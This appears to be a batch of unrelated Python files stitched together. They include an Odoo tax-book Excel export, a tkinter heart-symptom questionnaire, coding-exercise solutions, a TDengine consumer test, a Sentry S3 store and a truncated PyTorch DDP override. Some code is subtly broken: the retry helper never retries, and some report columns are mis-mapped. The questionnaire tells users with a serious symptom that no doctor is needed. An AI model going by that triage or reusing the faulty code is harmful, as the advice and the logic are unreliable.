from dateutil.relativedelta import relativedelta
from datetime import datetime
from io import BytesIO
from odoo import models, fields
import xlsxwriter
from xlsxwriter import utility
import logging

_logger = logging.getLogger(__name__)
INIT_LINES = 1

class WizardAccountingInvoice(models.TransientModel):
    _name = "wizard.accounting.reports"
    _description = "Wizard para generar reportes de libro de compra y ventas"
    _check_company_auto = True

    def _default_date_from(self):
        current_day = fields.Date.today()
        return current_day

    def _default_date_to(self):
        current_day = self._default_date_from()
        final_day_month = relativedelta(months=1, days=-1)
        increment_date = current_day + final_day_month
        return increment_date

    def _default_company_id(self):
        company_id = self.env.company.id
        return company_id

    report = fields.Selection(
        [("purchase", "Libro de Compras"), ("sale", "Libro de Ventas")],
        required=True,
    )

    date_from = fields.Date(string="Date Start", required=True, default=_default_date_from)

    date_to = fields.Date(
        string="Date End",
        required=True,
        default=_default_date_to,
    )

    company_id = fields.Many2one("res.company", default=_default_company_id)

    def _fields_sale_book_line(self, move):
        return {
            "_id": move.id,
            "espec": "2",
            "document_date": self._format_date(move.invoice_date),
            "document_number": move.n_factura,
            "n_autorizacion": move.n_autorizacion,
            "vat": move.partner_id.vat,
            "complement": move.partner_id.complement or "",
            "partner_name": move.invoice_partner_display_name,
            "amount_total": move.amount_total,
            "amount_ice": 0,
            "amount_iehd": 0,
            "amount_ipi": 0,
            "amount_tasas": 0,
            "amount_not_iva": 0,
            "amount_export_and_others": 0,
            "amount_sale_rate_zero": 0,
            "subtotal": move.amount_untaxed,
            "des_bon_reb": 0,
            "import_gift_card": 0,
            "amount_base_fiscal_debit": move.amount_untaxed,
            "amount_fiscal_debit": move.amount_untaxed * 0.13,
            "code_num": move.codigo_control,
            "type_sale": 0,
            "state": "V",
        }

    def _fields_purchase_book_line(self, move):
        return {
            "_id": move.id,
            "espec": "1",
            "vat": move.partner_id.vat,
            "partner_name": move.invoice_partner_display_name,
            "n_autorizacion": move.n_autorizacion,
            "document_number": move.n_factura,
            "document_dui": move.dui,
            "document_date": self._format_date(move.invoice_date),
            "complement": move.partner_id.complement or "",
            "amount_total": move.amount_total,
            "amount_ice": 0,
            "amount_iehd": 0,
            "amount_ipi": 0,
            "amount_tasas": 0,
            "amount_not_iva": 0,
            "amount_export_and_others": 0,
            "amount_sale_rate_zero": 0,
            "subtotal": move.amount_untaxed,
            "des_bon_reb": 0,
            "import_gift_card": 0,
            "amount_base_fiscal_debit": move.amount_untaxed,
            "amount_fiscal_debit": move.amount_untaxed * 0.13,
            "code_num": move.codigo_control,
            "type_sale": 1,
            "state": "V",
        }

    def parse_sale_book_data(self):
        sale_book_lines = []
        moves = self.search_moves()

        for move in moves:
            sale_book_line = self._fields_sale_book_line(move)
            sale_book_lines.append(sale_book_line)
        return sale_book_lines

    def parse_purchase_book_data(self):
        purchase_book_lines = []
        moves = self.search_moves()

        for move in moves:
            purchase_book_line = self._fields_purchase_book_line(move)
            purchase_book_lines.append(purchase_book_line)

        return purchase_book_lines

    def sale_book_fields(self):
        return [
            {
                "name": "N°",
                "field": "index",
            },
            {
                "name": "Especificacion",
                "field": "espec",
            },
            {
                "name": "Fecha de la Factura",
                "field": "document_date",
                "size": 15,
            },
            {
                "name": "Nº Factura",
                "field": "document_number",
                "size": 20,
            },
            {
                "name": "Codigo de Autorización",
                "field": "n_autorizacion",
                "size": 20,
            },
            {"name": "NIT/CI CLIENTE", "field": "vat", "size": 15},
            {"name": "Complemento", "field": "complement", "size": 15},
            {
                "name": "Nombre o Razón Social",
                "field": "partner_name",
                "size": 25,
            },
            {
                "name": "Importe Total de la Ventas",
                "field": "amount_total",
                "format": "number",
                "size": 15,
            },
            {
                "name": "Importe ICE",
                "field": "amount_ice",
                "format": "number",
                "size": 15,
            },
            {
                "name": "Importe IEHD",
                "field": "amount_iehd",
                "format": "number",
                "size": 15,
            },
            {
                "name": "Importe IPI",
                "field": "amount_ipi",
                "format": "number",
                "size": 15,
            },
            {
                "name": "TASAS",
                "field": "amount_tasas",
                "format": "number",
                "size": 15,
            },
            {
                "name": "OTROS NO SUJETOS AL IVA",
                "field": "amount_not_iva",
                "format": "number",
                "size": 15,
            },
            {
                "name": "Exportaciones y Operaciones Exentas",
                "field": "amount_export_and_others",
                "format": "number",
                "size": 15,
            },
            {
                "name": "VENTAS GRAVADAS A TASA CERO",
                "field": "amount_sale_rate_zero",
                "format": "number",
                "size": 15,
            },
            {
                "name": "SUBTOTAL",
                "field": "subtotal",
                "format": "number",
                "size": 15,
            },
            {
                "name": "DESCUENTOS, BONIFICACIONES Y REBAJAS SUJETAS AL IVA",
                "field": "des_bon_reb",
                "format": "number",
                "size": 15,
            },
            {
                "name": "IMPORTE GIFT CARD",
                "field": "import_gift_card",
                "format": "number",
                "size": 15,
            },
            {
                "name": "IMPORTE BASE PARA DEBITO FISCAL",
                "field": "amount_base_fiscal_debit",
                "format": "number",
            },
            {
                "name": "DEBITO FISCAL",
                "field": "amount_fiscal_debit",
                "format": "number",
            },
            {"name": "Estado", "field": "state"},
            {"name": "Codigo de control", "field": "code_num"},
            {"name": "Tipo de venta", "field": "type_sale"},
        ]

    def purchase_book_fields(self):
        return [
            {
                "name": "N°",
                "field": "index",
            },
            {
                "name": "Especificacion",
                "field": "index",
            },
            {"name": "NIT PROVEEDOR", "field": "vat", "size": 15},
            {
                "name": "Nombre o Razón Social",
                "field": "partner_name",
                "size": 25,
            },
            {
                "name": "Codigo de Autorización",
                "field": "n_autorizacion",
                "size": 20,
            },
            {
                "name": "Nº Factura",
                "field": "document_number",
                "size": 20,
            },
            {
                "name": "Numero DUI/DIM",
                "field": "document_dui",
                "size": 20,
            },
            {
                "name": "Fecha de Factura/DUI/DIM",
                "field": "document_date",
                "size": 15,
            },
            {
                "name": "Importe Total compra",
                "field": "amount_total",
                "format": "number",
                "size": 15,
            },
            {
                "name": "Importe ICE",
                "field": "amount_ice",
                "format": "number",
                "size": 15,
            },
            {
                "name": "Importe IEHD",
                "field": "amount_iehd",
                "format": "number",
                "size": 15,
            },
            {
                "name": "Importe IPI",
                "field": "amount_iehd",
                "format": "number",
                "size": 15,
            },
            {
                "name": "TASAS",
                "field": "amount_tasas",
                "format": "number",
                "size": 15,
            },
            {
                "name": "OTROS NO SUJETOS A CREDITO FISCAL",
                "field": "amount_not_iva",
                "format": "number",
                "size": 15,
            },
            {
                "name": "Importes Exentos",
                "field": "amount_export_and_others",
                "format": "number",
                "size": 15,
            },
            {
                "name": "VENTAS GRAVADAS A TASA CERO",
                "field": "amount_sale_rate_zero",
                "format": "number",
                "size": 15,
            },
            {
                "name": "SUBTOTAL",
                "field": "subtotal",
                "format": "number",
                "size": 15,
            },
            {
                "name": "DESCUENTOS, BONIFICACIONES Y REBAJAS SUJETAS AL IVA",
                "field": "des_bon_reb",
                "format": "number",
                "size": 15,
            },
            {
                "name": "IMPORTE GIFT CARD",
                "field": "import_gift_card",
                "format": "percent",
                "size": 15,
            },
            {
                "name": "IMPORTE BASE PARA CREDITO FISCAL",
                "field": "amount_base_fiscal_debit",
                "format": "number",
            },
            {
                "name": "CREDITO FISCAL",
                "field": "amount_fiscal_debit",
                "format": "number",
            },
            {"name": "Tipo de compra", "field": "type_sale"},
            {"name": "Codigo de control", "field": "code_num"},
        ]

    def _get_domain(self, current_company_id=False):
        search_domain = []
        is_purchase = self.report == "purchase"

        field_date = "date" if is_purchase else "invoice_date"

        if current_company_id:
            search_domain += [("company_id", "=", current_company_id)]

        move_type = (
            ["out_invoice", "out_refund"]
            if not is_purchase
            else ["in_invoice", "in_refund", "in_debit"]
        )

        search_domain += [(field_date, ">=", self.date_from)]
        search_domain += [(field_date, "<=", self.date_to)]
        search_domain += [
            ("state", "not in", ["draft"]),
            ("move_type", "in", move_type),
        ]

        return search_domain

    def generate_report(self):
        is_sale = self.report == "sale"

        if is_sale:
            return self.download_sales_book()

        return self.download_purchases_book()

    def download_sales_book(self):
        self.ensure_one()
        url = "/web/download_sales_book"
        return {"type": "ir.actions.act_url", "url": url, "target": "self"}

    def download_purchases_book(self):
        self.ensure_one()
        url = "/web/download_purchase_book"
        return {"type": "ir.actions.act_url", "url": url, "target": "self"}

    def _format_date(self, date):
        _fn = datetime.strptime(str(date), "%Y-%m-%d")
        return _fn.strftime("%d/%m/%Y")

    def search_moves(self):
        order = "invoice_date asc"
        env = self.env
        move_model = env["account.move"]
        domain = self._get_domain()
        moves = move_model.search(domain, order=order)
        return moves

    def generate_sales_book(self):
        sale_book_lines = self.parse_sale_book_data()
        file = BytesIO()

        workbook = xlsxwriter.Workbook(file, {"in_memory": True, "nan_inf_to_errors": True})
        worksheet = workbook.add_worksheet()

        merge_format = workbook.add_format({"border": 1, "align": "center", "valign": "vcenter"})
        cell_formats = {
            "number": workbook.add_format({"num_format": "#,##0.00"}),
            "percent": workbook.add_format({"num_format": "0.00%"}),
        }

        name_columns = self.sale_book_fields()
        total_idx = 0

        for index, field in enumerate(name_columns):
            worksheet.set_column(index, index, len(field.get("name")) + 4)
            worksheet.write(0, index, field.get("name").upper(), merge_format)

            for index_line, line in enumerate(sale_book_lines):
                total_idx = (INIT_LINES + index_line) + 1

                if field["field"] == "index":
                    worksheet.write(INIT_LINES + index_line, index, index_line + 1)
                else:
                    cell_format = cell_formats.get(field.get("format"), workbook.add_format())
                    worksheet.write(
                        INIT_LINES + index_line, index, line.get(field["field"]), cell_format
                    )

            if field.get("format") == "number":
                col = utility.xl_col_to_name(index)
                worksheet.write_formula(
                    total_idx, index, f"=SUM({col}2:{col}{total_idx})", cell_formats.get("number")
                )

        workbook.close()
        return file.getvalue()

    def generate_purchases_book(self):
        purchase_book_lines = self.parse_purchase_book_data()
        file = BytesIO()

        workbook = xlsxwriter.Workbook(file, {"in_memory": True, "nan_inf_to_errors": True})
        worksheet = workbook.add_worksheet()

        merge_format = workbook.add_format({"border": 1, "align": "center", "valign": "vcenter"})
        cell_formats = {
            "number": workbook.add_format({"num_format": "#,##0.00"}),
            "percent": workbook.add_format({"num_format": "0.00%"}),
        }

        name_columns = self.purchase_book_fields()
        total_idx = 0

        for index, field in enumerate(name_columns):
            worksheet.set_column(index, index, len(field.get("name")) + 4)
            worksheet.write(0, index, field.get("name").upper(), merge_format)

            for index_line, line in enumerate(purchase_book_lines):
                total_idx = (INIT_LINES + index_line) + 1

                if field["field"] == "index":
                    worksheet.write(INIT_LINES + index_line, index, index_line + 1)
                else:
                    cell_format = cell_formats.get(field.get("format"), workbook.add_format())
                    worksheet.write(
                        INIT_LINES + index_line, index, line.get(field["field"]), cell_format
                    )

            if field.get("format") == "number":
                col = utility.xl_col_to_name(index)
                worksheet.write_formula(
                    total_idx, index, f"=SUM({col}2:{col}{total_idx})", cell_formats.get("number")
                )

        workbook.close()
        return file.getvalue()


from tkinter import *
from tkinter import messagebox

root = Tk()
root.title("Project 163")
root.geometry("400x00")
root.configure(background="plum1")

question1_radioButton = StringVar(value="0")

Question1=Label(root, text ="Do you experience shortness of breath during routine activities?", bg="ivory2", fg="gray5")
Question1.pack()
question1_r1=Radiobutton(root, text = "yes", variable=question1_radioButton, value="yes")
question1_r1.pack()
question1_r2=Radiobutton(root, text = "no", variable=question1_radioButton, value="no")
question1_r2.pack()

question2_radioButton = StringVar(value="0")

Question2=Label(root, text ="Do you have swelling in feet/ ankles/ legs (shoes feel tighter) or abdomen?", bg="ivory2", fg="gray5")
Question2.pack()
question2_r1=Radiobutton(root, text = "yes", variable=question2_radioButton, value="yes")
question2_r1.pack()
question2_r2=Radiobutton(root, text = "no", variable=question2_radioButton, value="no")
question2_r2.pack()

question3_radioButton = StringVar(value="0")

Question3=Label(root, text ="Do you feel any of these symptoms - confusion, disorientation or loss of memory?", bg="ivory2", fg="gray5")
Question3.pack()
question3_r1=Radiobutton(root, text = "yes", variable=question3_radioButton, value="yes")
question3_r1.pack()
question3_r2=Radiobutton(root, text = "no", variable=question3_radioButton, value="no")
question3_r2.pack()

question4_radioButton = StringVar(value="0")

Question4=Label(root, text ="Do you experience persistent wheezing / coughing that produces white or pink blood tinged mucus?", bg="ivory2", fg="gray5")
Question4.pack()
question4_r1=Radiobutton(root, text = "yes", variable=question4_radioButton, value="yes")
question4_r1.pack()
question4_r2=Radiobutton(root, text = "no", variable=question4_radioButton, value="no")
question4_r2.pack()

def score():
    score = 0
    if question1_radioButton.get()=="yes":
        score = score+10
        print(score)

    if question2_radioButton.get()=="yes":
        score = score+10
        print(score)

    if question3_radioButton.get()=="yes":
        score = score+10
        print(score)

    if question4_radioButton.get()=="yes":
        score = score+10
        print(score)

    if score <= 10:
        messagebox.showinfo("Report","You don't need to visit a doctor.")
    elif  score > 10 and score <= 30:
        messagebox.showinfo("Report","You might perhaps have to visit a doctor")
    else :
        messagebox.showinfo("Report","I strongly advise you to visit a doctor")

btn = Button(root, text= "click me", command=score, bg="light goldenrod", fg="gray5")
btn.pack()

root.mainloop()


import math
def findFactors(n):
    factorList = []
    i = 1
    while i <= math.sqrt(n):
        if(n%i==0):
            if(n%i==i):
                factorList.append(i)
            else:
                factorList.append(i)
                factorList.append(int(n/i))
        i += 1
    return factorList

def createNthTri(n):
    triNum = int((n * (n + 1))/2)
    return triNum

counter = 1
factors = 0
while factors <= 500:
    triNum = createNthTri(counter)
    factorList = findFactors(triNum)
    factors = len(factorList)
    print(triNum, factors)
    counter += 1

print(triNum)


class Solution(object):
    # def shortestDistance(self, words, word1, word2):
    #     """
    #     :type words: List[str]
    #     :type word1: str
    #     :type word2: str
    #     :rtype: int
    #     """
    #     indexes = []
    #     for index, word in enumerate(words):
    #         if word1 == word:
    #             indexes.append((index, 1))
    #         elif word2 == word:
    #             indexes.append((index, 2))
    #     ls, min_range = len(indexes), len(words)
    #     for i in range(ls - 1):
    #         if indexes[i][1] == indexes[i + 1][1]:
    #             continue
    #         curr_range = abs(indexes[i][0] - indexes[i + 1][0])
    #         if curr_range < min_range:
    #             min_range = curr_range
    #     return min_range

    def shortestDistance(self, words, word1, word2):
        index1 = index2 = -1
        res = len(words)
        for index, word in enumerate(words):
            if word1 == word:
                index1 = index
            elif word2 == word:
                index2 = index
            if index1 != -1 and index2 != -1:
                res = min(res, abs(index1 - index2))
        return res


import sys
import time
import threading
from taos.tmq import Consumer
from util.log import *
from util.sql import *
from util.cases import *
from util.dnodes import *
from util.common import *
sys.path.append("./7-tmq")
from tmqCommon import *

class TDTestCase:
    updatecfgDict = {'debugFlag': 135}
    def init(self, conn, logSql, replicaVar=1):
        self.replicaVar = int(replicaVar)
        tdLog.debug(f"start to excute {__file__}")
        tdSql.init(conn.cursor())
        self.wal_retention_period1 = 3600
        self.wal_retention_period2 = 1
        self.commit_value_list = ["true", "false"]
        self.offset_value_list = ["earliest", "latest", "none"]
        self.tbname_value_list = ["true", "false"]
        self.snapshot_value_list = ["false"]

        # self.commit_value_list = ["true"]
        # self.offset_value_list = [""]
        # self.tbname_value_list = ["true"]
        # self.snapshot_value_list = ["false"]

    def tmqParamsTest(self):
        paraDict = {'dbName':     'db1',
                    'dropFlag':   1,
                    'vgroups':    4,
                    'stbName':    'stb',
                    'colSchema':   [{'type': 'INT', 'count':1}, {'type': 'binary', 'len':20, 'count':1}],
                    'tagSchema':   [{'type': 'INT', 'count':1}, {'type': 'binary', 'len':20, 'count':1}],
                    'ctbPrefix':  'ctb',
                    'ctbNum':     1,
                    'rowsPerTbl': 10000,
                    'batchNum':   10,
                    'startTs':    1640966400000,  # 2022-01-01 00:00:00.000
                    'auto_commit_interval': "100"}

        start_group_id = 1
        for snapshot_value in self.snapshot_value_list:
            for commit_value in self.commit_value_list:
                for offset_value in self.offset_value_list:
                    for tbname_value in self.tbname_value_list:
                        topic_name = 'topic1'
                        tmqCom.initConsumerTable()
                        tdCom.create_database(tdSql, paraDict["dbName"],paraDict["dropFlag"], vgroups=4,replica=1)
                        tdLog.info("create stb")
                        tdCom.create_stable(tdSql, dbname=paraDict["dbName"],stbname=paraDict["stbName"], column_elm_list=paraDict['colSchema'], tag_elm_list=paraDict['tagSchema'])
                        tdLog.info("create ctb")
                        tdCom.create_ctable(tdSql, dbname=paraDict["dbName"],stbname=paraDict["stbName"],tag_elm_list=paraDict['tagSchema'],count=paraDict["ctbNum"], default_ctbname_prefix=paraDict['ctbPrefix'])
                        tdLog.info("insert data")
                        tmqCom.insert_data(tdSql,paraDict["dbName"],paraDict["ctbPrefix"],paraDict["ctbNum"],paraDict["rowsPerTbl"],paraDict["batchNum"],paraDict["startTs"])

                        tdLog.info("create topics from stb with filter")
                        queryString = "select ts, log(c1), ceil(pow(c1,3)) from %s.%s where c1 %% 7 == 0" %(paraDict['dbName'], paraDict['stbName'])
                        sqlString = "create topic %s as %s" %(topic_name, queryString)
                        tdSql.query(f'select * from information_schema.ins_databases')
                        db_wal_retention_period_list = list(map(lambda x:x[-6] if x[0] == paraDict['dbName'] else None, tdSql.queryResult))
                        for i in range(len(db_wal_retention_period_list)):
                            if db_wal_retention_period_list[0] is None or db_wal_retention_period_list[-1] is None:
                                db_wal_retention_period_list.remove(None)
                        if snapshot_value =="true":
                            if db_wal_retention_period_list[0] != self.wal_retention_period2:
                                tdSql.execute(f"alter database {paraDict['dbName']} wal_retention_period {self.wal_retention_period2}")
                                time.sleep(self.wal_retention_period2+1)
                                tdSql.execute(f'flush database {paraDict["dbName"]}')
                        else:
                            if db_wal_retention_period_list[0] != self.wal_retention_period1:
                                tdSql.execute(f"alter database {paraDict['dbName']} wal_retention_period {self.wal_retention_period1}")
                        tdLog.info("create topic sql: %s"%sqlString)
                        tdSql.execute(sqlString)
                        tdSql.query(queryString)
                        expected_res = tdSql.queryRows
                        group_id = "csm_" + str(start_group_id)
                        consumer_dict = {
                            "group.id": group_id,
                            "td.connect.user": "root",
                            "td.connect.pass": "taosdata",
                            "auto.commit.interval.ms": paraDict["auto_commit_interval"],
                            "enable.auto.commit": commit_value,
                            "auto.offset.reset": offset_value,
                            "experimental.snapshot.enable": snapshot_value,
                            "msg.with.table.name": tbname_value
                        }
                        consumer_commit = 1 if consumer_dict["enable.auto.commit"] == "true" else 0
                        consumer_tbname = 1 if consumer_dict["msg.with.table.name"] == "true" else 0
                        consumer_ret = "latest" if offset_value == "" else offset_value
                        expected_parameters=f'tbname:{consumer_tbname},commit:{consumer_commit},interval:{paraDict["auto_commit_interval"]}ms,reset:{consumer_ret}'
                        if len(offset_value) == 0:
                            del consumer_dict["auto.offset.reset"]
                        consumer = Consumer(consumer_dict)
                        consumer.subscribe([topic_name])
                        tdLog.info(f"enable.auto.commit: {commit_value}, auto.offset.reset: {offset_value}, experimental.snapshot.enable: {snapshot_value}, msg.with.table.name: {tbname_value}")
                        stop_flag = 0
                        try:
                            while True:
                                res = consumer.poll(1)
                                tdSql.query('show consumers;')
                                consumer_info = tdSql.queryResult[0][-1]
                                if offset_value == "latest":
                                    if not res and stop_flag == 1:
                                        break
                                else:
                                    if not res:
                                        break
                                # err = res.error()
                                # if err is not None:
                                #     raise err
                                # val = res.value()
                                # for block in val:
                                #     print(block.fetchall())
                                if offset_value == "latest" and stop_flag == 0:
                                    tmqCom.insert_data(tdSql,paraDict["dbName"],paraDict["ctbPrefix"],paraDict["ctbNum"],paraDict["rowsPerTbl"],paraDict["batchNum"],int(round(time.time()*1000)))
                                    stop_flag = 1
                        finally:
                            consumer.unsubscribe()
                            consumer.close()
                        tdSql.checkEqual(consumer_info, expected_parameters)
                        start_group_id += 1
                        tdSql.query('show subscriptions;')
                        subscription_info = tdSql.queryResult
                        tdLog.info(f"---------- subscription_info: {subscription_info}")
                        if snapshot_value == "true":
                            if offset_value != "earliest" and offset_value != "":
                                if offset_value == "latest":
                                    offset_value_list = list(map(lambda x: int(x[-2].replace("wal:", "").replace("earliest", "0").replace("latest", "0").replace(offset_value, "0")), subscription_info))
                                    tdSql.checkEqual(sum(offset_value_list) >= 0, True)
                                    rows_value_list  = list(map(lambda x: int(x[-1]), subscription_info))
                                    tdSql.checkEqual(sum(rows_value_list), expected_res)
                                elif offset_value == "none":
                                    offset_value_list = list(map(lambda x: x[-2], subscription_info))
                                    tdSql.checkEqual(offset_value_list, ['none']*len(subscription_info))
                                    rows_value_list  = list(map(lambda x: x[-1], subscription_info))
                                    tdSql.checkEqual(rows_value_list, [0]*len(subscription_info))
                            else:
                                if offset_value != "none":
                                    offset_value_str = ",".join(list(map(lambda x: x[-2], subscription_info)))
                                    tdLog.info("checking tsdb in offset_value_str")
                                    # tdSql.checkEqual("tsdb" in offset_value_str, True)
                                    # rows_value_list  = list(map(lambda x: int(x[-1]), subscription_info))
                                    # tdSql.checkEqual(sum(rows_value_list), expected_res)
                                else:
                                    offset_value_list = list(map(lambda x: x[-2], subscription_info))
                                    tdSql.checkEqual(offset_value_list, [None]*len(subscription_info))
                                    rows_value_list  = list(map(lambda x: x[-1], subscription_info))
                                    tdSql.checkEqual(rows_value_list, [None]*len(subscription_info))
                        else:
                            if offset_value != "none":
                                offset_value_list = list(map(lambda x: int(x[-2].replace("wal:", "").replace("earliest", "0").replace("latest", "0").replace(offset_value, "0")), subscription_info))
                                tdSql.checkEqual(sum(offset_value_list) >= 0, True)
                                rows_value_list  = list(map(lambda x: int(x[-1]), subscription_info))
                                tdSql.checkEqual(sum(rows_value_list), expected_res)
                            else:
                                offset_value_list = list(map(lambda x: x[-2], subscription_info))
                                tdSql.checkEqual(offset_value_list, ['none']*len(subscription_info))
                                rows_value_list  = list(map(lambda x: x[-1], subscription_info))
                                tdSql.checkEqual(rows_value_list, [0]*len(subscription_info))
                        tdSql.execute(f"drop topic if exists {topic_name}")
                        tdSql.execute(f'drop database if exists {paraDict["dbName"]}')

    def run(self):
        self.tmqParamsTest()

    def stop(self):
        tdSql.close()
        tdLog.success(f"{__file__} successfully executed")

event = threading.Event()

tdCases.addLinux(__file__, TDTestCase())
tdCases.addWindows(__file__, TDTestCase())


from __future__ import absolute_import

import json
from time import sleep

import boto

from sentry.nodestore.base import NodeStorage

def retry(attempts, func, *args, **kwargs):
    for _ in range(attempts):
        try:
            return func(*args, **kwargs)
        except Exception as err:
            sleep(0.1)
            raise
    raise

def connect_s3(bucket_name, region=None, validate=False,
               aws_access_key_id=None, aws_secret_access_key=None):
    if region is None:
        conn = boto.connect_s3(aws_access_key_id=aws_access_key_id,
                               aws_secret_access_key=aws_secret_access_key)
    else:
        conn = boto.s3.connect_to_region(region,
                                         aws_access_key_id=aws_access_key_id,
                                         aws_secret_access_key=aws_secret_access_key)
    return conn.get_bucket(bucket_name, validate=validate)

class S3NodeStorage(NodeStorage):

    def __init__(self, bucket_name=None, region=None, max_retries=3,
                 aws_access_key_id=None, aws_secret_access_key=None):
        self.max_retries = max_retries
        self.bucket = connect_s3(bucket_name, region=region,
                                 aws_access_key_id=aws_access_key_id,
                                 aws_secret_access_key=aws_secret_access_key)

    def _put(self, node_id, data):
        key = boto.s3.key.Key(self.bucket)
        key.key = node_id
        retry(self.max_retries, key.set_contents_from_string, *(data,))
        return node_id

    def delete(self, id):
        """
        >>> nodestore.delete('key1')
        """
        self.bucket.delete_key(id)

    def delete_multi(self, id_list):
        """
        Delete multiple nodes.

        Note: This is not guaranteed to be atomic and may result in a partial
        delete.

        >>> delete_multi(['key1', 'key2'])
        """
        self.bucket.delete_keys(id_list)

    def get(self, id):
        """
        >>> data = nodestore.get('key1')
        >>> print data
        """
        key = self.bucket.get_key(id)
        if key is None:
            return None
        result = retry(self.max_retries, key.get_contents_as_string)
        return json.loads(result)

    def get_multi(self, id_list):
        """
        >>> data_map = nodestore.get_multi(['key1', 'key2')
        >>> print 'key1', data_map['key1']
        >>> print 'key2', data_map['key2']
        """
        return dict(
            (id, self.get(id))
            for id in id_list
        )

    def create(self, data):
        """
        >>> nodestore.create({'foo': 'bar'})
        """
        node_id = self.generate_id()
        self._put(node_id, json.dumps(data))
        return node_id

    def set(self, id, data):
        """
        >>> nodestore.set('key1', {'foo': 'bar'})
        """
        self._put(id, json.dumps(data))

    def set_multi(self, values):
        """
        >>> nodestore.set_multi({
        >>>     'key1': {'foo': 'bar'},
        >>>     'key2': {'foo': 'baz'},
        >>> })
        """
        for id, data in values.iteritems():
            self.set(id=id, data=data)

    def cleanup(self, cutoff_timestamp):
        raise NotImplementedError


import asyncio
from itertools import combinations

from poke_env.player.player import Player
from poke_env.player.random_player import RandomPlayer

from src.pokemon.bot.SimpleRuleBasedPlayer import RuleBasedPlayer

EVAL_EPISODES = 2

async def main():
    print("Evaluating Bots!")

    concurrent = 1

    player_list = [
        RuleBasedPlayer(battle_format="gen8randombattle", max_concurrent_battles=concurrent, save_replays=True),
        # SimpleRuleBasedPlayer(battle_format="gen8randombattle", max_concurrent_battles=concurrent),
        # MaxDamagePlayer(battle_format="gen8randombattle", max_concurrent_battles=concurrent),
        RandomPlayer(battle_format="gen8randombattle", max_concurrent_battles=concurrent),
    ]

    # Making the bots play against each other
    for battle in combinations(player_list, 2):
        p1: Player = battle[0]
        p2: Player = battle[1]
        p1_name = p1.username.split()[0]
        p2_name = p2.username.split()[0]

        p1.reset_battles()
        p2.reset_battles()

        await p1.battle_against(p2, n_battles=EVAL_EPISODES)
        print(f"{p1_name} ({p1.n_won_battles} / {p2.n_won_battles}) {p2_name}")

if __name__ == "__main__":
    asyncio.get_event_loop().run_until_complete(main())


import json

d1 = {
    'pessoa 1':{
        'nome': 'Lucas',
        'idade': 18,
    },
    'pessoa 2':{
        'nome': 'Elias',
        'idade': 22,

    }
}
d1_json = json.dumps(d1, indent=True)

with open('abc.json', 'w') as file:
    file.write(d1_json)


# 공유기 설치하기

# 집에 공유기 c개설치. 한집엔 공유기 1대씩 가능
# 가장 인접한 두 공유기 사이 거리 최대가 되게 C개 공유기 N개 집에 설치
# 집집마다의 최소거리는 1

import sys
input = sys.stdin.readline

N, C = map(int,input().split())
house =[int(input()) for _ in range(N)]
house.sort()

max_dist, front, back = 0, 1, (house[N-1]-house[0])
while(front<=back):
    mid = (front+back)//2

    counting, tmp = 1, house[0] # 0번째집에 공유기 설치한 상태
    for x in house:
        if x-tmp >= mid : # 집 사이 거리가 mid보다 크면 공유기++
            counting+=1
            tmp = x

    if counting >= C :
        front = mid+1
        max_dist = mid
    else:
        back = mid-1

print(max_dist)


from torch.nn.parallel import DistributedDataParallel
from torch.nn.parallel.distributed import _find_tensors
import torch.optim
import torch.utils.data
import torch
from packaging import version

class DDP(DistributedDataParallel):
    """
    Override the forward call in lightning so it goes to training and validation step respectively
    """

    def forward(self, *inputs, **kwargs):  # pragma: no cover
        if version.parse(torch.__version__[:6]) < version.parse("1.11"):
            self._sync_params()
            inputs, kwargs = self.scatter(inputs, kwargs, self.device_ids)
            assert len(self.device_ids) == 1
            if self.module.training:
                output = self.module.training_step(*inputs[0], **kwargs[0])
            elif self.module.testing:
                output = self.module.test_step(*inputs[0], **kwargs[0])
            else:
                output = self.module.validation_step(*inputs[0], **kwargs[0])
            if torch.is_grad_enabled():
                # We'll return the output object verbatim since it is a freeform
                # object. We need to find any tensors in this object, though,
                # because we need to figure out which parameters were used during
                # this forward pass, to ensure we short circuit reduction for any
                # unused parameters. Only if `find_unused_parameters` is set.
                if self.find_unused_parameters:
                    self.reducer.prepare_for_backward(list(_find_tensors(output)))
                else:
                    self.reducer.prepare_for_backward([])
        else:
            from torch.nn.parallel.distributed import \
                logging, Join, _DDPSink, _tree_flatten_with_rref, _tree_unflatten_with_rref
            with torch.autograd.profiler.record_function("DistributedDataParallel.forward"):
                if torch.is_grad_enabled() and self.require_backward_grad_sync:
                    self.logger.set_runtime_stats_and_log()
                    self.num_iterations += 1
                    self.reducer.prepare_for_forward()

                # Notify the join context that this process has not joined, if
                # needed
                work = Join.notify_join_context(self)
                if work:
                    self.reducer._set_forward_pass_work_handle(
                        work, self._divide_by_initial_world_size
                    )

                # Calling _rebuild_buckets before forward compuation,
                # It may allocate new buckets before deallocating old buckets
                # inside _rebuild_buckets. To save peak memory usage,
                # call _rebuild_buckets before the peak memory usage increases
                # during forward computation.
                # This should be called only once during whole training period.
                if torch.is_grad_enabled() and self.reducer._rebuild_buckets():
                    logging.info("Reducer buckets have been rebuilt in this iteration.")
                    self._has_rebuilt_buckets = True

                # sync params according to location (before/after forward) user
                # specified as part of hook, if hook was specified.
                buffer_hook_registered = hasattr(self, 'buffer_hook')
                if self._check_sync_bufs_pre_fwd():
                    self._sync_buffers()

                if self._join_config.enable:
                    # Notify joined ranks whether they should sync in backwards pass or not.
                    self._check_global_requires_backward_grad_sync(is_joined_rank=False)

                inputs, kwargs = self.scatter(inputs, kwargs, self.device_ids)
                if self.module.training:
                    output = self.module.training_step(*inputs[0], **kwargs[0])
                elif self.module.testing:
                    output = self.module.test_step(*inputs[0], **kwargs[0])
                else:
                    output = self.module.validation_step(*inputs[0], **kwargs[0])

                # sync params according to location (before/after forward) user
                # specified as part of hook, if hook was specified.
                if self._check_sync_bufs_post_fwd():
                    self._sync_buffers()

                if torch.is_grad_enabled() and self.require_backward_grad_sync:
                    self.require_forward_param_sync = True
                    # We'll return the output object verbatim since it is a freeform
                    # object. We need to find any tensors in this object, though,
                    # because we need to figure out which parameters were used during
                    # this forward pass, to ensure we short circuit reduction for any
                    # unused parameters. Only if `find_unused_parameters` is set.
                    if self.find_unused_parameters and not self.static_graph:
                        # Do not need to populate this for static graph.
                        self.reducer.prepare_for_backward(list(_find_tensors(output)))
                    else:
                        self.reducer.prepare_for_backward([])
                else:
                    self.require_forward_param_sync = False

            # TODO: DDPSink is currently enabled for unused parameter detection and
            # static graph training for first iteration.
            if (self.find_unused_parameters and not self.static_graph) or (
                    self.static_graph and self.num_iterations == 1
            ):
                state_dict = {
                    'static_graph': self.static_graph,
                    'num_iterations': self.num_iterations,
                }

                output_tensor_list, treespec, output_is_rref = _tree_flatten_with_rref(
                    output
                )
